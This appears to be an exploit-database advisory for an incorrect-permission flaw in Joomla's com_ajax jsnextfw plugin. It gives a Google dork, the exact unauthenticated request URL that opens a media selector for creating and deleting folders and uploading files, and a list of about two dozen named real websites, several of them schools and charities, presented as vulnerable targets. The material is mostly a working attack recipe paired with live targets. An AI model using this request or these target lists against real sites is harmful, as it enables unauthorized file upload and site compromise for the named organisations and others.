Joomla Com_Ajax Component Jsnextfw Plugin Jform_Article Incorrect Default Permission Vulnerability

2018.10.24
Risk: Medium
Local: No
Remote: Yes
CVE: N/A

################################################################################################# # Exploit Title : Joomla Com_Ajax Component Jsnextfw Plugin Jform_Article Incorrect Default Permission Vulnerability # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army # Date : 24/10/2018 # Vendor Homepage : joomla.org # Tested On : Windows and Linux # Category : WebApps # Google Dork : inurl:/index.php?option=com_ajax # Exploit Risk : Medium # CWE : CWE-264 - [ Permissions, Privileges, and Access Controls ] + CWE-287 - [ Improper Authentication ] - CWE-399 - [ Resource Management Errors ] + CWE-20 - [ Improper Input Validation ] - CWE-284 - [ Improper Access Control ] + CWE-306 - [ Missing Authentication for Critical Function ] ################################################################################################# # Admin Panel Login Path => /administrator # Check for Error Message and Vulnerability on the websites => /index.php?option=com_ajax&format=json /PATH/index.php?option=com_ajax&format=json /index.php/component/ajax/ {"success":true,"message":null,"messages":null,"data":null} # Exploit => /index.php?option=com_ajax&format=html&plugin=jsnextfw&context=media-selector&type=image&folder= images&6142fd345ac817417f35bde90a0ed787=1&editor=jform_articletext&tmpl=component # Directory Path => /images/... Note => # We can create a folder. # We can Delete Folder[s] # Upload a File without administration permissions. ################################################################################################# # Example Vulnerable Sites => stpsahid.ac.id/index.php?option=com_ajax&format=html&plugin=jsnextfw&context=media-selector&type=image&folder= images&6142fd345ac817417f35bde90a0ed787=1&editor=jform_articletext&tmpl=component joomla.org/index.php?option=com_ajax&format=json => [ Proof of Concept ] => archive.is/77gHL impostos.ad/index.php?option=com_ajax&format=json bplimmobiliare.it/joomla/index.php?option=com_ajax&format=json camntech.com/index.php?option=com_ajax&format=json aavopl.org/index.php?option=com_ajax&format=json burnetts-ea.com/index.php?option=com_ajax&format=json driffieldschool.net/index.php?option=com_ajax&format=json aspenoss.com/index.php?option=com_ajax&format=json atrainability.co.uk/index.php?option=com_ajax&format=json emotionfactory.com/index.php?option=com_ajax&format=json felicitysarran.co.uk/index.php?option=com_ajax&format=json accesstalent.co.uk/index.php?option=com_ajax&format=json abc.org.uk/index.php?option=com_ajax&format=json astonacademy.org/index.php?option=com_ajax&format=json catholiceducation.org.uk/index.php?option=com_ajax&format=json burystedmundsramblers.org.uk/index.php?option=com_ajax&format=json pefc.org/index.php?option=com_ajax&format=json learning-disability.org.uk/index.php?option=com_ajax&format=json lesresidencesniable.com/index.php?option=com_ajax&format=json smrt.bristol.sch.uk/index.php?option=com_ajax&format=json flonflons.eu/index.php?option=com_ajax&format=json keadventure.com/index.php?option=com_ajax&format=json uzvonu.com/cs/?option=com_ajax&format=json ################################################################################################# # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #################################################################################################


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